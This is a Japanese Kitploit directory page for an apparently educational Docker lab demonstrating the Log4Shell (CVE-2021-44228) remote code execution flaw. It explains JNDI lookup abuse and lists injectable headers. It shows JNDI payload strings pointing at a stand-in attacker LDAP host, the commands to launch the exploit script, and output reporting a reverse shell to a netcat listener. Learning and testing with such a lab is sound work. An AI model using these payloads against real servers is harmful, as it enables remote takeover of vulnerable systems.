Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
EXPLOIT-CVE-2021-44228 — Log4Shell(CVE-2021-44228)RCEエクスプロイトを実証するDockerベースの教育用ラボ。脆弱なJavaアプリケーション、LDAPリダイレクタ、自動化されたエクスプロイトスクリプトが含まれます。 | Kitploit
ツール/GitHubGitHub/joaovicdev/exploit-cve-2021-44228
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHubjoaovicdev/exploit-cve-2021-44228

EXPLOIT-CVE-2021-44228

Log4Shell(CVE-2021-44228)RCEエクスプロイトを実証するDockerベースの教育用ラボ。脆弱なJavaアプリケーション、LDAPリダイレクタ、自動化されたエクスプロイトスクリプトが含まれます。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
45ヶ月前未レビュー

CVE-2021-44228 — Log4Shell PoC Lab

免責事項

このラボは教育およびセキュリティ研究のみを目的として作成されています。 すべてのトラフィックは隔離されたDockerネットワーク内で発生します。 実際のシステムや明示的な許可なしにこの資料を使用しないでください。 不正使用は犯罪となる可能性があります。責任を持って使用してください。


CVE-2021-44228 とは?

Log4Shell は、2021年12月に発見された、Javaアプリケーションで広く使用されているロギングライブラリ Apache Log4j 2 の重大な脆弱性(CVSS 10.0)です。

脆弱性の発生メカニズム

Log4jには式補間機能があります。メッセージをログに記録する際に、${...} 形式の文字列を評価します。例えば、${java:version} は実行時のJavaバージョンに置き換えられます。

問題は JNDI(Java Naming and Directory Interface)プロトコルのサポートにあります。Log4jが次のような式を検出すると:

root@kitploit:~
${jndi:ldap://atacante.com/exploit}

JVMに攻撃者のサーバーへのLDAPクエリを実行するように指示します。サーバーはリモートJavaクラスへの参照で応答し、JVMはそのクラスをダウンロードして実行し、結果としてリモートコード実行(RCE) が発生します。

攻撃ベクトルは単純です。サーバーによってログに記録される任意のフィールド(HTTPヘッダー、フォームフィールド、Cookieなど)がペイロードの入口になり得ます。

影響を受けるバージョン

  • Log4j 2.0-beta9 から 2.14.1
  • バージョン 2.15.0 で修正(2.17.0 で完全に修正)

脆弱な環境

このラボは、脆弱なバージョンを使用した実際のJavaアプリケーションをシミュレートします。

脆弱なエンドポイント

root@kitploit:~
GET http://localhost:8080/log

以下のヘッダーはLog4jによって直接ログに記録されます。これらのいずれもがインジェクションのベクターとなり得ます。

  • X-Api-Version
  • User-Agent
  • X-Auth-Token

攻撃者のインフラ(attacker コンテナ)

サービスポート機能

エクスプロイトの使用方法

前提条件

  • Docker および Docker Compose がインストールされていること
  • Node.js がインストールされていること(エクスプロイト用)

1. 環境全体を起動

root@kitploit:~
docker-compose up --build

ログに以下の表示が出るまで待機します:

root@kitploit:~
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds

2. エクスプロイトを発動

別のターミナルで、Node.jsエクスプロイトを実行します:

root@kitploit:~
node exploit/exploit.js

期待される出力:

root@kitploit:~
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target  : http://localhost:8080/log
[*] Header  : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}

[+] Response : 200 OK
[+] Body     : logged

[+] Payload delivered — check the attacker nc listener on port 9001

3. 実行を確認

docker-compose が実行されているターミナルを観察します。attacker コンテナのログに、ポート9001にリバースシェルの接続が到着しているのが確認できます。

脆弱なアプリ内で touch /tmp/pwned が実行されたことを確認するには:

root@kitploit:~
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwned

カスタム引数(オプション)

root@kitploit:~
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"

By Guaxinim | サイバーセキュリティ研究

ツールをダウンロード
コンポーネントバージョン脆弱である理由
Apache Log4j2.14.1${jndi:...} を無制限に評価
JDK1.8.0_181trustURLCodebase=false を設定するパッチ 8u191 より前
Spring Boot2.5.6単なるWebフレームワーク。脆弱性はLog4jによるもの
marshalsec (LDAP)1389JNDIルックアップを受信し、HTTPサーバーへリダイレクト
Python HTTPサーバー8888被害者のJVMに Exploit.class を提供
netcatリスナー9001リバースシェルの接続を受信